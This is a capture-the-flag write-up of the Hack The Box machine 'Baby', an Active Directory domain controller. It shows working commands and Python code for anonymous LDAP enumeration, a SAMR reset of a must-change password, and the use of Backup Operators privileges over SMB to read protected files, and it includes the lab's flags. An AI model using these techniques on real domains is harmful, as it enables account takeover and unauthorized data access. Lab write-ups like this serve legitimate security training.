// tl;dr

LDAP anonymous bind leaks an initial password in a user description; the target user (Caroline.Robinson) has STATUS_PASSWORD_MUST_CHANGE set, allowing password reset via SAMR; Backup Operators group membership enables direct flag read via FILE_OPEN_FOR_BACKUP_INTENT over SMB.

contents
Baby pwned certificate

Baby — HTB Writeup#

Machine Summary#

PropertyValue
NameBaby
IP10.129.234.71
OSWindows Server 2022 (Build 10.0.20348)
Domainbaby.vl
HostnameBabyDC.baby.vl
DifficultyEasy
Key TopicsLDAP anonymous enumeration, STATUS_PASSWORD_MUST_CHANGE, Backup Operators, SeBackupPrivilege

Overview#

Baby is a Windows Active Directory Domain Controller. An anonymous LDAP bind exposes a user description containing a plaintext initial password. A non-visible domain user (Caroline.Robinson) has this password set with a must-change flag, allowing the password to be changed without prior authentication via SAMR. Caroline is a member of the Backup Operators built-in group, granting SeBackupPrivilege which permits reading any file on the system — including both flags — directly over SMB using the FILE_OPEN_FOR_BACKUP_INTENT flag.

Reconnaissance#

Port Scan#

nmap -Pn -sV -sC -p- -T4 --min-rate 2000 10.129.234.71

Key open ports:

PortServiceNotes
53DNSSimple DNS Plus
88KerberosAD authentication
389/636LDAP/LDAPSAnonymous bind permitted
445SMBSigning enabled and required
3389RDPCN=BabyDC.baby.vl
5985WinRMEvil-WinRM target

SMB signing is required, ruling out NTLM relay attacks. No web services present. Clock skew of approximately 7h47m was detected — relevant for Kerberos but not NTLM (the DC embeds its own timestamp in NTLM challenges).

Enumeration#

Anonymous LDAP Bind#

The DC permitted anonymous LDAP connections. A recursive search for user objects revealed 9 accounts across two OUs (OU=dev, OU=it). One account stood out:

from ldap3 import Server, Connection, SUBTREEconn = Connection(Server('10.129.234.71', get_info='ALL'), auto_bind=True)conn.search('DC=baby,DC=vl', '(&(objectClass=user)(objectCategory=person))',            SUBTREE, attributes=['sAMAccountName', 'description'])

Teresa.BellOU=it:

description: Set initial password to BabyStart123!

Group Membership Enumeration#

The anonymous LDAP query for standard user objects did not return Caroline.Robinson. However, querying the Backup Operators built-in group membership revealed her account:

conn.search('DC=baby,DC=vl',    '(cn=Backup Operators)',    SUBTREE,    attributes=['member'])# Returns: CN=Caroline Robinson,OU=it,DC=baby,DC=vl

Caroline.Robinson resides in OU=it but was hidden from the standard anonymous user enumeration ACL.

STATUS_PASSWORD_MUST_CHANGE Confirmation#

An LDAP NTLM bind attempt for Caroline.Robinson with the discovered password returned LDAP error data code 773 (Microsoft-specific: ERROR_PASSWORD_MUST_CHANGE), confirming:

  1. The password BabyStart123! is correct for Caroline.Robinson.
  2. The account has a must-change-password flag set.

Note: SMB NTLM login via impacket SMBConnection.login() returned STATUS_LOGON_FAILURE (0xC000006D) for this case — some tools conflate this with a wrong password. The LDAP bind error code and SAMR change path are the definitive indicators.

Exploitation — User Flag#

Password Reset via SAMR#

The SAMR SamrUnicodeChangePasswordUser2 RPC call does not require prior authentication — it accepts the old password and sets a new one atomically. With the initial password known, the change was performed over RPC-SAMR:

python3 changepasswd.py 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.234.71' \    -newpass 'BabyHack2024!' \    -protocol rpc-samr

Output:

[*] Changing the password of baby\Caroline.Robinson[*] Password was changed successfully.

User Flag via SMB#

With active credentials, the user flag was retrieved directly over SMB:

from impacket.smbconnection import SMBConnectionsmb = SMBConnection('10.129.234.71', '10.129.234.71')smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')# Read C$/Users/Caroline.Robinson/Desktop/user.txt

User Flag: 2df563e8ac7d83a07a53dc54193f89e4

Privilege Escalation — Root Flag#

Backup Operators — SeBackupPrivilege#

Caroline.Robinson is a member of the Backup Operators built-in group, which grants SeBackupPrivilege. This privilege allows the holder to bypass file ACLs for backup purposes. Over SMB, this is exercised using the FILE_OPEN_FOR_BACKUP_INTENT flag in the CreateFile / NtCreateFile call.

A standard SMB read of C:\Users\Administrator\Desktop\root.txt returned STATUS_ACCESS_DENIED (0xC0000022). Opening the same path with FILE_OPEN_FOR_BACKUP_INTENT succeeded:

from impacket.smbconnection import SMBConnectionsmb = SMBConnection('10.129.234.71', '10.129.234.71')smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')# FILE_OPEN_FOR_BACKUP_INTENT = 0x4000 combined in CreateOptionstid = smb.connectTree('C$')fid = smb.openFile(    tid,    r'\Users\Administrator\Desktop\root.txt',    desiredAccess=0x20089,    shareMode=0x7,    creationOption=0x4020,   # FILE_OPEN_FOR_BACKUP_INTENT | FILE_NON_DIRECTORY_FILE    creationDisposition=0x1  # FILE_OPEN)data = smb.readFile(tid, fid, 0, 1024)print(data.decode())

Root Flag: 4d27bc99f6babec4ade47fbbbc839f38

Obstacles & Lessons Learned#

NTLM vs LDAP Error Codes for PASSWORD_MUST_CHANGE#

The most significant obstacle was incorrect diagnosis of the password state. Impacket’s SMBConnection.login() returns STATUS_LOGON_FAILURE (0xC000006D) when the DC sends STATUS_PASSWORD_MUST_CHANGE (0xC0000224) — at least under the SMBv3 + NTLMv2 negotiation impacket uses by default. This caused extensive wasted effort trying to confirm clock skew as a cause and attempting many alternative attack paths.

Lesson: When a password hint is found in LDAP (especially Set initial password to), test via LDAP NTLM bind rather than SMB login — LDAP returns a Microsoft-specific error code (data code 773) that unambiguously identifies the must-change state.

Clock Skew and Kerberos#

The attacker machine had a ~7h47m clock skew relative to the DC. All Kerberos-based attacks (AS-REP roasting with GetNPUsers, Kerberoasting) would fail without clock sync, and timedatectl/ntpdate were not available or permitted. This limited authentication to NTLM and SAMR paths — which was sufficient for this machine.

Lesson: NTLM authentication is clock-skew-immune because the DC embeds its own timestamp in the NTLM challenge (NTLMSSP_AV_TIME), and the client uses that instead of its local clock. Always fall back to NTLM when Kerberos is unavailable.

Caroline.Robinson Not in Standard LDAP User Enum#

The target user was not returned by a standard anonymous LDAP search for (&(objectClass=user)(objectCategory=person)). She appeared only when explicitly querying group membership of privileged groups (Backup Operators, IT). This is a common ACL pattern on AD deployments — individual user objects can have restricted read ACLs that prevent anonymous browsing.

Lesson: Always enumerate group members (especially privileged groups: Domain Admins, Backup Operators, Remote Desktop Users, Administrators) separately from the user object search.

Tools Used#

ToolPurpose
nmapTCP/UDP port scanning, service fingerprinting
ldap3 (Python)Anonymous LDAP enumeration, NTLM bind testing
impacket changepasswd.pySAMR password change for must-change accounts
impacket SMBConnectionSMB file access with FILE_OPEN_FOR_BACKUP_INTENT
impacket secretsdumpNTDS.dit offline hash extraction (attempted)